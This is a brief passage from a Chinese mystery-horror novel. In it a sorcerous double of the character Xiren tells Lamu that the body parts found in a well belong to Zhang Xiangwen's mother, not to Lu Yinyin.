拉姆盯着眼前与西壬有着相同外貌的人蛊,紧闭的双唇没有任何弧度。 “那……井里的尸块又是谁的呢?您猜的没错,那不是陆茵茵的尸块。”人蛊脸上的笑变得邪魅了几分,“而是张祥文母亲的。”